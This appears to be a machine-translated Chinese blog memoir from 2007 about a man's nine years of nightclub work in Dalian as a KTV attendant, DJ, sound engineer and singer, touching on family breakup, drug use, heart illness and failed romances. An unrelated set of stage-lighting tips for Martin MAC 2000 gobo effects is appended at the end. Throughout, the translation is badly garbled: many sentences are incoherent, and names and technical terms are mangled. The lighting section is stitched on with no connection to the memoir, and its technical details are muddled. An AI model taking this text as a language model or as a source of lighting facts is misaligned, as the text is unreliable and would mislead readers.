Today is 10-Oct-2007, there are 2 months and 21 days 2008 ~ ~ whole 10 years Ah ~ ~ imagined 10 years fast dry. terrible night!!!! 。.

They play a role in memory. .

In the summer of 1998, I graduated from junior high school, score very good but I was glad.. because I have a special home.

My father was a literary and art workers, early into business by opening a nightclub. . Home in good condition. . Mother is an ordinary worker, very steady monthly income. . We live with her grandmother, the family could have been happy, happy life. . But, did not last long! Father because business involves the corruption, family life began to close up. . Home and valuables are sold out, just to ensure my father's peace out. . Mother traveling all day outside the pool again! 500,000 in public money ah ~ ~ ~ home, leaving only me and grandma. . When I was 10 years old Hou. .

Then the father came, he also had to go somewhere, I do not know. I only know that the father took the money and a woman came to the field.

Since then, the family's economic conditions on the day as a day, and was laid off from another mother looking for a job, only 34 100 yuan a month we have a family of three living expenses. . On this day I had a whole 6 years!!!!. .

In such a special family I decided not to add a burden to the mother. Working!!!! 。.

Dropped out of school, give up their ideals, only to not want to hear his mother cry when night!. .

So I started working life, one silly.. don't know what to do? remember once seeing a hotel door write recruitment I went people asked me. .. what? I answered and said.-cheese is inevitable! 。.

Finally found a restaurant waiter job, and then one to do in the hotel is 2 years. .

Start doing restaurant, half a year later to Mulberry that waiter, not a month went up to the floor of the foreman at that time a month of 800 Yuan wages I spend $ 800, but now it's enough to drink wine.

To June 1999, I began to come into contact with the KTV!!! Very simple is to start from the bottom, first attendant, and then charge! 800 yuan from the previous month rose to 2,000 yuan! Is the night when I felt the fresh market stimulate income-generating livelihoods more! I decided to field after a dry night!!. .

The KTV business very well, I went up to the Manager doesn't work, daily supervision with attendants do own a lot of free time. at this time, I met a man, he changed my life! 。.

He, song name. . Is KTV audio division, and later became my teacher, long as a bit weird, there are two prominent front teeth out! Explorer, these young people that when we called him "Rabbit." .

One day in the staff canteen us a table to eat, he asked me: "big plane, later want to learn?" 。.

"If you want ah, but not sufficient to offset tuition," I joked and "rabbit," said. .

"I would like to receive a disciple, you have no interest in learning tuition is free audio?!!!!" 。.

"Really fake??" I looked at him half-hearted: "If my school was not the money." .

"What do you call me master," just a word I just recognition of the first master!!!!! Now I want to not understand that he was thinking? 。.

Recognition of the master after all my whole life changed! Began studying every aspect of a number of sound knowledge, short of one month to 12 square meters studio I can independently complete the 16 operating rooms of the song and the dance floor of the Sound lights to operate. . I gradually began to explore their full potential in the beginning of learning DJ, MC's some knowledge!. .

Probably a couple of months now, and master taught me things I have been absorbed by the master, from then on no longer pointing me.. saying "apprentice showing" why, I started my own research.

Their studying time has passed quickly, KTV loss of the whole hotel closed "down" again! We have unemployment, and began to fend for themselves, this time is the master station helped me out a!. .

At that time our Dalian di bar (which is now slowly shaking it's predecessor, 90, after little brother sister to do the following explanation) so what several! NO .1 is clean,., boys and girls, cat, etc, but most people want to go in difficult. I was lucky enough to be brought to a craftsman "boys and girls" that shop.

Went only to find that they are "frogs" before disposal in the environment and atmosphere in which this fundamental lack access, no way on the word "study"!!!. .

But at some old DJ feel themselves, so will not teach you to buddy up. .. not a "steal" your not teaching, I stole to learn.

Gradually groped his opportunities a little, but the store was hurt, they closed! 75-80's buddies come out to play at night if the field should be aware of this right, tantamount to no more than say, a word play tiring of!! !!!! hehe. .

I found my point was to be.

Also laid off! Hour marquis began to pursue his dream of it!!! It as a singer. .

Although I am not handsome, husky voice, but anyhow I don't run away, try look!!!!! So I started my own songs at home singing! learn better when I learned point musical instruments, singing it hard not to me!!! Probably 99 years Christmas just after I found a small bar.

Malan Square, called Bar in Sicily, do not know if I have been buddies? 30 dollars a day, the money, while small, but one night there is still a little tip money plus sing what can be considered to deal with the day off! In that sang two One day later months rose to 50. . Daily had felt very fulfilling!. .

2000, colorful than newly when ripe, the commercial performance of more than 50 live also. .80. .100 earns more and friends set up a band.

Speaking of the way, hello to the band before the group of friends with Le Le Yi Lin, Xiao-Peng army now does not know how you like it? Have time to contact you sit out, did not meet the fast five years. .

Have their own band has done in bars, start doing Stadium bird (Polar) and later to a dirty bar enoterra!!!!! Of course when it comes to elderly people do performing enoterra know, do not give money for that, so I say it dirty! at that time was less than 20 years, we have several young people who had never been something, feel very depressed, came out from enoterra zhanzhuan also has several small bar, the band disbanded!!! It is a pity, but also very fondly remembers those days!!! 。.

After the dissolution of the band I chose the solo, its development! From coffee shop to the cart (40 years old where people dance) to the bar so incoherent sort of a goof ~~~~~ another mixed year. .

2000 years have passed in 2001 and was a turning point!!!!! 。.

It is the year I become more mature! Less than 19 years of age this year, I experienced too many things too much! Family change, the cause. .

After my father, my mother was home alone hold up, I earned only occasionally supplement, own flowers away too much, and how much does not help at her mother!!!! 。.

2001's Spring Festival, home phone rang, and a miss, hate, familiar and unfamiliar voices over the phone! Mother's eyes moist, her grandmother's eyes moist!!! Is my father, an abandoned us years, son, husband, father; one to miss his son, hates his father!!!!. .

"Falling leaves" old people always have to go home, but 01 spring I did and my father saying a Word.

April 29, 2001, the sky misty rain. . On this day my grandmother passed away. . Touched me this much, and now I still remember. . An old man to take care of my entire 18 years that his son is not around 9 years, just come back to be filial to her grandmother left. . I cried and cried very sad!. .

From then on I see "filial piety" gradual and mother quarrel gone also began to speak with the father, even though I hate him, but his father after his father's family also! slowly from his grandmother died of grief..

However, another "Big Ray" towards me split over. .

The flat, today is my and your father married 25 anniversary, we've had a divorce "mother very dull.

I slumped over there did not move, I do not know, do not understand why people make such big decisions! I'm so want a complete home. .

This restless mind I have decided to go to work, because I do not know how the face of such a home ~ ~ a gave me life, gave me a wonderful childhood, but also gave me like a nightmare experience home.

The fall of 2001 I started back to KTV to work, an attendant began to dry, but because of his bad mood at work when the regular travel child, less than 10 days will soon be swept out of the boss! Had to change several stores until the last golden age of two, this time I chose the audio division of work, though much money, but no matter how Liu Hao, how go wrong, the boss in his office can not see! to the insurance point!. .

I didn't think this would make my life change!!! 。.

To the winter to re-open a shop, we want to send people to a 2 to work, we discuss that with my head told me to stay in charge of two to do with him to give me an individual. . I was so I agreed! I unknowingly taken a strong step!!!. .

When a supervisor salary up to the surrounding other KTV fame grew big, then the other street, shahekou district railway station to the nearby and there are more than 50 specific KTV, didn't suffer from several bipartite golden age! belong to the level of the big brother from decoration, audio, Princess, skiing is not a KTV can counteract! at that time I was renowned natural surroundings there are many people who know me! 。.

So began my first night-life climax! Daily 18:00 variety I designate will appear in the home of a farm food stores around the pipe, the other KTV manager, waiters were all together, "a feel"!! Basically what Something is wrong with the equipment KTV, KTV manager is the first wizard called me, let me help repair! are paid services, and pay a lot, at least when they are 200! reputation spread quickly, and said that I repair Can the living things, how and how good repair. . On the other hand my own pocket also drum up. .

We store CEOs have heard me talk on its own initiative, to give me up wages. aim to keep me in the shop, I was afraid of the other House.. my 20-year-old, I think the CEO is a bit simple.. at that time I thought their own fame and in the future, I can't always do this I would like to think of ways to enhance their own value!!! 。.

Winter turned to spring up in March or April, I do not remember, I proposed to resign! Results are full of the opposition! Really quite proud of that time, had their hearts feel pleased but not so valuable ah!! But My own strong demands, the boss eventually allow me to resign. . Just resigned to 3 days without large and small KTV manager came to me and to my past dry!. .

Blues, a call to my master "rabbit", my teacher asked me two words: "you now have something enough? you are reproducing this aspect there are potential mining?" 。.

Master said is that although her dry out the results, but there are many things waiting for me to learn, waiting for me to dig. . So I should be the other KTV manager's invitation to continue Shahekou Hing Public Street area of KTV work, but each I did no more than 3 months! As familiar with new equipment, to master new skills so that in 2003 10 month. .

Life has downs! but I felt my good luck come faster than ordinary! in October 2003, Shanghai road to Northern Hotel KTV clubs apply sound engineer! go in first words: "will not play DVDs?" I was a bit mask that is Hi! house top, my answer is: "studied unambiguous, do not know can not be rows, you may want to practice it." 。.

I felt this was the work of the game is up! Do not know how the other side of the head is thinking? "Come to work tomorrow, things will slowly learn..". .

There is a kind of feeling do roller coaster.

In another round of the Northern I started working, no! Should say a challenge!!!! Daily work leisure, DJ room a few buddies to play roll son, going on at nibbling! Two days of a repair. .

The people playing myself began to learn to play DVDs, previously only seen in boys and girls home, do it yourself it's never too! completely unable to find this time North! DJ Studio guys help me! I also thank you for your forest brother Wang Dong dahua pony thank you for that time on.

Gradually I began to practice, and finally one night the opportunity to enter the room hit ~ ~ ~ ~ excited !!!!!!!. .

A start was tensions always Happy Valley, there are also good at the front edge of the great help me, we will begin to adapt to.. more well, tonight I first accept tips. .500 element!! Half a month's basic salary is out! 。.

Beyond into the room, opportunities, and tips are also more gradually started doing drugs, then hit K ,****, Hou really do not care nearly 1 million in revenue a month ah! Unthinkable to happened, what Zan not dry!!!!. .

So spend a day to do more!, results of physical examination makes me fell from heaven and hell.

Acquired cardiac dysfunction !!!!!!!!!!!!. .

The doctor said to me this is because the long-term stay up late, smoking caused by excited pharmacy, you must stop all work comfort and calm for six months to two years or so can only be recovered from, such as the cultivation period slightly not paying attention, healing may take longer.

DJ seems to be with me in this industry a bye. .

Take me back to the hotel o resignation. got the approval that was just set up a pledge: disc, after no longer touches the drug!!!! 。.

2 does not matter, and it was next to my house became the oath!!. .

Just for my own boss is not strong ~ ~ ~ ~.

Come home An Xinjing support it! Happens to be I could not stay, night life, I have used every day in the net bar, a long time which in turn and began to network! I'm still the same: "do not let's learn , learning will not ask, do not teach Zanzan 'stolen'. " .

Work in the Internet cafe to also adapt to, every day of the scraping! this time a woman there! I get heavy trans woman! 。.

She called Ling Ge, chief general not beautiful, tall and a little fat, but the character I am and to come with! She loved, even obsessive life of the night games, when she knew I was doing when the DJ came to me she was more the goodwill, understanding the first night We'll stay in bed ~ ~. .

Fits my personality but I do know that having a heart attack and I didn't break up the day and she said! 。.

She is very considerate to me in the hospital staff hand-silver can be said to work well! Met her I have been very satisfied, let dry evening performance of brothers, the stalk has a child wants to find a good job caring your girls are looking for is not that now there is active before I posted on, we do not know enough yet and so what? to bike ah??. .

At the same time I met a friend---forest.

Like me, do DJ origin, but others famous door division, I am self-taught! Haha. .

Stand behind it, first, on the front.

At first I and Ge-ling feeling good, and we may just know all this, right? But a long time I found out that she has a hobby of playing mahjong!. .

I hate the same activities! 。.

After I found a place of contradictions emerged Wolia!. .

When she and I said I was embarrassed.

"You do not do that enough money to support my DJ, so some money a month to do network management doing enough of?." .

Woman!!!!! What the hell is a real money is your Daddy!!!!! (Only for individuals).

Well, points on the points it, then you are asleep, she spent the money Zan buddy, and also plan what, when playing it! But she said the words right and now income-generating livelihoods really do not, ah, back to night market?. .

Find a bar waiter? no, often playing in the bar, there are many people who know I lost no man to do it! back DJ's own body and does not work!!! This time I do singers it! in the past few years making the singer than it used to be a one-month dry, well also siwuqian block it, go back! 。.

So back to the night market!!!!. .

But this time find it not easy to find, as the singer of the market than men of women MBAs, men's long not handsome didn't place to eat! hard time bar box, people eat on the table, you have to find a corner sat eating ~ ~ ~ ~ hard Ah!!!! 。.

Always frustrating when people think of their families, because no matter where the family members never to betray you back to discriminate against you!. .

There is nothing in the Dalian development opportunities, I found my father, my father is a veteran of the arts, social activists, directly at the end of the year brought me to the Zhenjiang performances.

A strange city, new lifestyle, but also a challenge!!!. .

A start to Zhenjiang is not very smooth, engaging performances we hadn't arranged hotel rooms, all of our 16 individuals live Inn.

That gave me the impression of small hotels too strong. .

Got off the train, hotel boss arrangements with us to see a face for a meal, when is welcome, and then arrange with us to the hotel, a small hotel in the vicinity of the tropical cyclone.

The hotel itself is about 10 minutes walk from the railway station road, there are many small hotels around, several, or next to the railway station opened. .

From the hotel we stayed at the hotel and drive about 5 minutes, get off at the first thing I just observe the surrounding environment! 。.

Around the very old, are some two three-story house, basically, apart from the hotel is the hotel, the environment is not too bad! See the hotel facade is my intention to take back what I said, "Environment is not bad", that is! . .

The facade is about 2 m in height, with wood tie-up. something like television inside the ancient hamlet of chaste! write words after years of watching the weather is not very clear, look at the side to know the hotel called Jie Fang Hotel! how can I get the feeling and its facade for? 。.

Reception One door about 50 years old aunt was sitting in that record, the thermos bottle has been lying under the table dilapidated, and the walls have mildew, but the ground is very clean, one can tell someone to clean every day, so two windows above the street paste posters! if not glass, and did not take eyes to see. .

The good news is that just a temporary resident, if I die ~ ~ ~ ~ ~.

On the 2nd floor, we entered the room. .

"A room of 16 individual?" We asked to speak with one voice.

"Now this season the room can not tense, this is the biggest one of the.." Waiter explained. .

Into the room only to find it than the other rooms, there are about 20 sq. meters, but 16 individual, male and female.

Patience! Overcome! Habit!. .

The hotel is only two days to come we send people to the hotel occupancy, this kind of two people in a room, much more comfortable! 。.

Solve the housing problem, food problem will emerge come. . We are all northerners, the south are not used to the food we eat, or else sweet, sour and spicy or else, in order to satisfy desires! We go out first thing every day to find out that there are people in Northeast restaurant!! !! it's really at a loss had an awkward day ah!. .

A week after we started, there are times when every evening a sometimes two, performance fees Dalian flip has also many! 。.

We have gradually adapted to life in Zhenjiang, out not lost, it can easily walk in to find several restaurants to suit your taste into Cuoyi Dun!!!!. .

So did 5 months, we began a series of performances, in Zhenjiang let's Dalian help brothers and sisters did not give the home person losing face, famous speed comparable Liu Xiang, haha!!!!! 。.

After the performance every night I will alone in a hotel lobby to take a while, where the piano sets a tripod. . Often hotel staff asked us to pass on to you playing these actors. .

My favorite is the bomb.


<雪绒花>That song, every bomb I will be homesick, like my mother ~. .

Zhenjiang cleared work for over a year, be a singer, Chair full-scale development of my career.

Finally the day had to go home, the train's window I looked at the north cloud, perhaps it's over at my house! Really hope everything will be fine at home!! From Zhenjiang back to Dalian, said the day after it the really very tough ~ ~ ~. .

Come back after I realized the importance of education, decided to take part in a very daring!-ination for a decision to work for such a long time and go back to school, there is no guarantee that the exam.

Its pretty good showing, after a long period of classroom lectures, I finally, after a closed-door self-study by the National Art School in Dalian The Stage professional. The success of this Zikao also had my own transformation. .

From a single sound engineer to lighting effects to your e-mail administrator to stage performances of the overall planning, programming, and more successful from the underlying technical staff to a high level of intellectual leadership, a qualitative change can not be separated from the examination.

Then I first Zikao by the success of another study of international trade professionals. .

This period of life is very simple, not a noisy bar; without these people fight, very good time.

But time does not mean better lives better, to live a better money is the first light reading is not to spend money to make money is not enough. Left with no alternative, I started a lot of people have experienced the work-study life. Beginning of the law can also be winter ridge, But later on at a loss, and all the problems blowing. Bar rehearsals, school examinations, there is always a busy two months of his bruised and battered. .

But all well.

Graduated two years were passing. .

In the past two years, there are many students who accompany me, although sometimes very embarrassing but have them I feel enriched.

"People can learn in the university which is the only way of thinking," I benefited greatly from this sentence. .

Indeed in the University over the past two years, I became ripe, on the issue from the consideration of the work are age old, previously the many multilingual impulse problems encountered have quite a lot. To say that at college I learned how to dig, 嘿嘿.

Basically, before and after graduation the contradiction between his father has not so big, I began to rely on for their father's social relations beyond the road pavement. Another change in this period of my people there - A East teacher. .

Adong the teacher was his father's good friends, I would also appreciate a Ka. Because my bluntness, because my enthusiastic slowly adong teacher taught me in every respect has been greatly improved. For example: tuning technology, lighting effects, theatrical performances, etc., he is my mentor!!.

Over time, Arab East teacher became my second teacher! . .

I have two mentors, but two master role completely different! "rabbit" chef who brought me to the bottom of the art, i.e., take me to the door. Then I prefer some talent and hard work to climb into the hillside of the "art" at this time a teacher adong, he began to teach me the "climbing the posture and technique," Let me climb ~ ~ ~.

A teacher in the East this life is my idol! When people get along with his words and deeds and gives the feeling is so easy-going but fear, smooth and slick, both ways! I am really impressed, it was said that the age gap between the result! Reasons in this regard are undeniable, but the people to the community especially in the evening performance inside the circle have to do this, or else back to their own people had to be eaten! . .

Probably follow adong teacher for six months or so, he gave me the bar asked me to do audio, let me recall what the master new stuff!!!.

This way, I just feel that each had great scope for both career development. Audio tone air this regard, I just went to the intermediate stage to mark time it! Sad ah ~ ~ ~ ~ No! I would also like to continue learning and continue to delve into! . .

Every night at 8: 00 to 12: 00 on the four hours of working time, so I have a lot of free time to delve into! I started a simple life, have forgotten previous scene! daily simple repeat with two things. 1. night work; second, home to delve deeply into audio-knowledge during this period and the bar singer's increasingly ripe, and evoked a former singer when memories. I work in the background to the foreground singer do harmony. One day the teacher found adong, he also taught me to do and acoustic methods. And began to develop my Makena.

Still my primary school teachers was: "time water hastily..". .

In the bar was 3 months adong the teacher and the boss presented to leave, I didn't ask him the reason. Because I feel that 3 months I have something at least enough points of my own thinking about half.

A teacher came East after the boss I stayed, although wages are not high but I like their kind of environment the bar. No other bar noise, only quiet music. .

Singers like merry-go-round amongst the same swap ~ but I also quietly in the background. Coincided with the 2006 World Cup, I started singing talent displayed. Working together for a long time, and the relationship between the boss boss Office are very nice, like a family. They began to appreciate me, because I was young! since I frequent from Taiwan Makena sing your favorite song. can it be because the bar business is bad, his singing was let on friends take a rest. His only plan a fun!! ~.

This was my father knew, he persuaded me a lot to learn vocal music, and take regular singer Road ~ ~ ~ I really have ignored its. .

Adong teacher left this bar is 2 months, World Cup kick out I met her! a face normal but personality and I like her; one can let me pay all, willing to love her; a perfect in my heart for her.

I am fascinated. .

A few days of exposure, to understand our relationship has nearly a lot. For dinner, go shopping together.

One night rain, bars close early, around 11:00 I got off work. Walking on the way home I'm bored, decided to give her a message ~~~~~ content only remember part of the chat, anyway What does it mean we all get the idea. The next day, she became my girlfriend! That was July 15, 2005, I can not forget the day my life. .

We love each other very much, sometimes you only need one look undersatnd what to do. This point let the bar around the envy of many attendants. but also the "curse".

There has been a person misses her, he knew little later I had a good day, did not take long. About half a month's time, it also called the boss fired me. The reason is behind someone poke me, between me and the man from the feast on the deep, no one who can not tolerate. . Not to mention a thing of the past. Story to continue. .

After leaving the bar I've been unemployed at home, she went to a less than a week of classes is not done. Two months and I both have no income, and she and I had no complaints. She practices thoroughly impressed I conquered me.

My father and I to her guest, as the predecessors to do with the large scale from a small dance group. Is available at this time a crisis occurs Wolia. .

Intercourse with her more than two months, the relationship has been good. Dance games, but will follow. Remember the time I headed to one concerts, Yingkou go three days before leaving and I also didn't work for her things up a little awkward, and I think she's fine accommodation accommodation. But just when I come back later.

"You go these days I think very clearly, you are really good for me, but we are two people in the world, with the inappropriate.." The phone she said to break N-reasons. .

The head of my hand hold to buy him a dress stood listening to those words.

Pain! Sorrow and grief! Tears hung in a corner of the eye crumbling. .

So broke I?????? numerous question mark in my mind back and forth. With these question mark I once again left the Dalian, just want to let these questions slowly disappear.

Dalian I did not go away far. In my own dance yingchengzi resident to adjust themselves, by the way, and his father a teacher over there A East. 6 am every day to get up and dance team of girls doing morning exercises together, and then 6. .30 Back to dance rehearsal halls to practice basic skills, 7:00 to eat breakfast. . Every day life very regular, but my heart is very painful. .

It was also nice that barely able to squeeze out from the face, then a smile, but when I have time to her everything are in turn. I hold, to give her to a call.

Ever since that day, every day like she has become a compulsory course for their own, until now, too. .

Six months later, we are prepared for dinner and a night of performances. My phone rang.

"That's what position are you? Car how can I find you in the past??" When I went stupid phone, and if it is true? ? Then I told her ****, night she came to see me perform. .

Remember that night was cold, it was already dark, she went to her when she was cold, I take off your coat to her. At the end of the performance, we as usual with our own entertainment — mahjongg. Because there was no television yingchengzi that, at the end of the performances playing mahjong became the only entertainment. She usually don't even look at Mahjong tiles are not acquainted with this I know, but she quietly sitting next to me. One can imagine that that night gaming I lose badly. Regiment, said the teachers make fun of me, "Casino frustrated, conquest" 我俩 smiled, said nothing. .

Back to my room to rest at night, when I went out with two beds, with the intention of one with her one but when the room only when the two of us.

So Woliang another and better. .

He didn't last long.

She got a job, I am not happy for her, because in the night market. She later identified the brother called Xiaotao. Identified on the recognition of and I can not say so, but she lied to me said her aunt's cousin, unreasonable ah. She called me back to help her brother find a living, I should say that wherever he goes down there, but do not blame me if the boss. Agreement was also reached at that time Wolia. .

Unfortunate remark, the boss really useless. How many women there is something wrong with the back she complained that I said I didn't help. never ceases to amaze how wronged. How can I be affected by this gas-fired me!, she admitted that she had lied to me. I was at readily said: "since you don't trust me, that break!!".

Further divided. . I suspect that one evening three bottles of liquor 56 · C is how I drink? November 11, 2006 Everyone do a good day and I said, sometime in these words! Who says who I am and urgent. .

Divided by the bar, but with such a long time we have each other inside a link leads to a lot of people do not understand a thing from happening.

November 28, 2006. .

Yihai Casino opened has a billion-Ho pub I came to work here. Said on 2006-11-28, I went to the ** ** road the billion-Ho pub! bar, staff, and guests all. make you feel sad!.

Bar opening 28 coincides with the evening's performance is very hot, very successful program production costs only headache for the boss. One day, two days less than a week by fewer and fewer actors, but business is pretty stable right at least to ensure guests every day. .

In this I came to know through a forest of beautiful DJ sometime, everyone became good friends, photos I took it out for everyone to see.

Can you? ! ! Back because the little thing was a knife inside, Feifei class replaced my partner called balloon angioplasty people. He saw people uncomfortable feeling that people talk too fake. .

During this period there are many people who appear, xiaoqiang, left the baby, and so on, anyway I feel didn't have a good man, I want to dig my hands underneath the corner turn actor! I really don't know how they are thinking big deficiency but my buddies work non-boss, hand underneath the actor is also clear that break things on a little in the past, quite interesting, to present and friends gossip are also take these things when a laughingstock.

Night market, ah, ah people Court belly! ! ! . .

2007 Spring has arrived, and immediately I still stay at bars do. just in the hands of actors were I took because guests from Christmas future is becoming less and less good, sometimes one night before coming out with several Qingdao native health.

What is the reason? Well said. .

This is the first time in the billion-Ho bar working experience, curtain dark.

In May 2007 of the bar owner called me one day that the bars are to open me back to work, is back. .

This time, the boss, the name is ARMANI Armani, you might want to change my boss is a good beginning? someone, after all, is not the boss of me I don't know how he wanted to know about me. useless. because the guy did with the "hole" at this time a woman's situation allows. has nothing to do with me though!!.

This replaced the Forest of my partner's brother Nancy, very handsome, very shy of a Sunshine Boy. Cooperation between us is very happy. Forest was replaced by his partner's tacit cooperation in the work buddy happy to say nothing. Cai Jin also met Big Brother, Little Sister relationship is very good morning, we work every day not feeling, but a friend ****! ! . .

Later, forest and small morning also exchanges for a period of time, in the pursuit of the process, I can be done, who can think it wasn't long before the two SEY GOODBYE.

Bar fights happen a long thing, but a frame can bar closed and I hit the first time to catch up ~ ~. .

What is more complex, anyway, is doing, playing very specifically not to say, I this is not to write fiction.

Fight should have been all right after the incident, and bar open for business as usual ah. But not seen passenger door! ! ! ! Xie Xing! ! ! Bar the door open you can see every day on duty security, etiquette, waiters. . Has closed. .

Confusion of woman in this pass blame me, I really don't know how I? took 500 bucks! enough money, but annoying, bars do not any longer is your boss, your manager, there is no reason for me the money! "after I work out the problem fine me money, I have no problem with what fine me???.

I was impulsive, and the bar with a pair of wireless microphone out. For no other reason just to go to your boss to an explanation. Bar closed, the boss had left something you do not how to find him? Can find it? Take his stuff and told him to find me! ! ! At that time, I found myself so calculating! I admit that I did not take into account the impulse of the law, legal mistakes on both sides! But I felt no reason on the wrong ~ ~. .

Later I came back to Mike took money also give me missed, the boss man on my nice not pursued me something, but I started to panic fear. do do I recognize the 2nd work back to the bar ~ ~ ~ so unpleasant.

Away from the bar owner the day sea-million bar and I said he should do, let me call him so he want me to come back to help. .

Hungry God, save hungry!.

So I started more than two months short of the value of self-adjustment and self-cultivation. .

In the past two months, something I regret life thing!!!!!.

Really do not know what they are thinking? What they are doing? Have a little bit helpless and lost. Now I have gone in the mirror did not recognize myself. I am in the end to hide? Commitment? Responsibility? Or a heart could hold their own share of "love." .

Out of the rain. “啪。.” I lit a cigarette in hand, head down on the Chair. In such a short span of a few seconds of the time, I example working, very easy. But the passage of time is!, but this one was a long time easily will not dare phone disrupted; broke!!!.

"There is a love called drops, for love.." The phone rings. . My heart disorder. As there is a mad rat; as the storm hit; like the roaring flood. .

A relatively quiet in the room. All of this will be the last.. I continue to smoke, I continue to think about the past.

I promised her something someday know her from the beginning has been to fulfill the. Per second, every minute, every hour, every moment. . Until she's away from home development. .

Did not work I was bored, I see her. She is doing very tired, annoyed back couldn't fail to catch up to mischief. She assured me this has been in love with her, but it is not a couple of men. I have promised to do so.

Fate with her is a very funny is all that we seem to have the same life. God does not know this is a coincidence in the tease us or something. I met her almost the same situation, so big has been going well for live, in the event of such things all the time I have been confused, and lost your mind. .

It is precisely because this time of the accident, I have always fulfilled promise broken. Lying in bed, I think she, in her prayers for yourself.

Smoking hot at hand! That a slight degree of burning and pain to pull me out from the memories. .

She should be back to Dalian, discharged from last Saturday, I stay she sent me message, QQ message I've seen. Her whine, complain, patience, understanding, forgiveness, I have to worry about.. repeatedly've seen.

However, I lost my nerve. I chose to escape, do not take her phone, ignore her message. . I really want her to completely forget or completely hate! . .

I don't know the way to deal with it!.

So upset! . .

Take a look at the outside is rain, we feel when she was a strange need me I didn't reach out to pull her helplessness and loss or even hate.

I shed tears, and most recently was in last year's November 11 the day I break up with her. Usually do not cry I feel the bitter tears. .

。.

A small plug Syria, something about this way, then she is back! I saw her. .

She lost a lot. 。.

I began to contact her work, her work did not come back to find all the basic necessities before I charge! I feel done her wrong. .

One day together online, my phone rang, yihai boss.

He said the bar opened me to touch something in the past, I felt for a chance to let her come and do it, I can take care of her at her side, anyhow I am the boss of the sea and 100 million deal for a long time, understanding of the approach and the boss man. I told her this she agreed. So began a Wolia about 20 days time to prepare. . .

The bar's marketing plan, arrange everything are doing great, my space have to do it at the time of the planning sheet, interested friends can use.

September 16 we finally set things right, decided on September 28 opened! . .

As we move to staff recruitment and other preparatory work, the boss is her I was glad. Although some unlucky but we have to overcome it, opening day friends to join in. ..

28, and opened the line in a total of four bars opening day, really good day, but Wolia crashed. . Our friends did not come! ! ! This is just a nightmare start. The first day did not do any publicity, very hasty opening to catch such a good day. Guests can well understand, the boss did not say anything to continue to support Wolia work. . .

Go back the next day, and still no improvement! all of my clients are in a Word, we at night to call you.. put my pigeons!! crash!.

Why? You ask me? Boss asked me, even I ask myself! I am the author was not so bad, right? ? ? ? . .

In this way the barkeep, bar equipment to expand the refurbishment of the propaganda, fix reopened!!!.

This does not immediately open the bar again, do not know what it is like? I do not want to speculate, and tired! ! ! I have to start the 3rd in the 100 million sea entertainment city's working time in this bar. . Wish her and wish yourself good luck wishes to my friends. .

Tail words.

Having said all that is about it, because there are many things involved in that personal privacy will not go on. . .

The ins and outs of my night life I wrote three. Although finally leave is an unfinished story, but from the beginning how! stepped into the night, to so many years I have experienced the bitterness of bitter sweet can be said to be the face mask to?.

I am not a writer nor a scholar, I share ordinary, just some more experience. . .

9. I have done in the night of 9 years!.

Really! I have a deep sentiment, the night market too complicated, people do not know when one will be The Apprentice, a people do not know when it will abjection street, one of them even do not know when it will be selling their own immediate friends. Night market in my eyes is a being lucky, being frustrated, being cunning cover the tree-lined path. Master will be lost in this way because the road ahead is obscured by the setbacks cunning, and only you keep walking you may only touch lucky! See also a vast forest! ! ! ! ! . .

Each night work, night work, brother sister, we are the right people get the evaluation we hand has its own balance of magnifying glass events! please pick up the magnifying glass in the money behind the beauty of fresh and exciting, we then look carefully to see what their stay in the heart of it ~ ~.

When you touch the lucky, we come together to, product taste Road! ! This is a unique group of passing the wealth of the night games! Deserves to be cherished a lifetime of wealth! ! ! ! . .


Nowadays, many television and theatrical producers, it is not difficult to see the lighting using different lighting effects, adding even more excitement for programs, many of the bright lights, the fact is, through the pattern piece casts light result.

However, the pattern of colors and patterns through the film can only make a fixed light effects, but some unique design effects such as surging waves, small bridges, fierce flames, the sky clouds, etc., will not be able to play, this is for the lighting division indeed restrict their creativity. Therefore, we can easily believe the market still has room for development, which evolved into the emergence of a dynamic pattern pieces. .

Having said that, it is only sensible pattern piece not representative may perfectly made unique pattern, it must match the pattern, to be on the stage, creating the most beautiful lights (of course, not least the role of the color wheel). The following then Martin's MAC 2000 Performance for example, provides some tips for making the reference.

Lighting effects: burning flame. .

Manufacturing method: a spiral movement pattern piece + number 176 pattern piece or numbered pattern plate 175.

Effect regardless of any dynamic pattern, its rotation speed and image focus will have an impact on the projected results, it must carefully test and set. To make the effect of the raging fire, you can join in the blending system, about 70% of the purple (Magenta), and about 90% of the yellow, so that we can mix a moving orange, yellow and red. .

May consider moving pattern piece: elliptical movement pattern pieces to make irregular migration, may also consider using a circular pattern pieces.

Consider the pattern piece: any standard flame pattern piece. .

Lighting effect: the ripples in the water.

Manufacturing methods: radial dynamic pattern patterns piece pieces + No. 955, No. 958 or No. 833 chip design pattern pieces. .

Can be cleaned using a slow speed, make more calm water effect; if you want to make more circles can be replaced with a "wave"-shaped pattern (for example: DHA Shuiying reflection pattern piece 906, flame-4 960 or fire/lang-238-275), and the use made of rough water radial movement patterns, or use the oval-shaped pattern of movement sliceof irregular effect; of course, in order to speed up dynamic pattern of rotation speed in order to enhance the effects of irregular.

Consider the dynamic pattern pieces: Rough and radial pattern pieces can make a torrent dynamic effect; spiral-shaped dynamic pattern pieces can add water effects. .

May consider moving pattern piece: linear-401, 402, 501, 504, shower-882.

Lighting effects: floating clouds. .

Manufacturing method: cloud-shaped motion pattern piece + number 163 pattern, number plate, number 164 pattern patterns, number 167 168 170 pattern pieces, numbered pattern pieces.

Method for manufacture of white clouds in fact associated with the speed and focus: Use a slow speed, you can make white clouds floating silently in the sky looks like, and fast speed, we can make will be thunder and heavy rain and thick clouds. .

Consider the pattern piece: no mesh may be considered some cloud pattern, also wanted the cloud density and type select pattern pieces.

In conclusion, dynamic pattern pieces to make a perfect match and the pattern piece, in fact, to note the following:. .

1. Select the pattern pieces.

Select pattern piece is the most basic is the most important part, because many interesting effects, is made by changing the focal length. .

2. af.

Adjusted design pieces to clear focus, in fact, can not achieve the desired lighting effects, and reduced range of motion, the effect is not very good; the contrary, the dynamic design to clear film focal length adjustment, you can have a greater range of movement , but the pattern will disappear, and precise projection of the quality and direction of movement, will also be focusing effect, therefore, to achieve the desired lighting Xiao Guo, Yan Jiu carefully to the focal length is very important that this Fangmian to Tebieliuyi . .

3. the direction of movement.

Dynamic pattern piece flexible assembly and disassembly system, through DMX 512 signal control, adjust it to any angle, for example: horizontal movement can be used to create the effect of clouds floating in the air; or use of vertical movement, so the rising flame, or even torrential rain and so on. In addition, some are not vertical or horizontal effect of dynamic patterns, you can try to horizontal or vertical channel swap, even the dynamic pattern pieces to make the results go the opposite direction.Furthermore, you can control via DMX, decided dynamic wheel rotation mode, not just to rotate continuously, this is done when the font or trade marks. projecting especially useful.

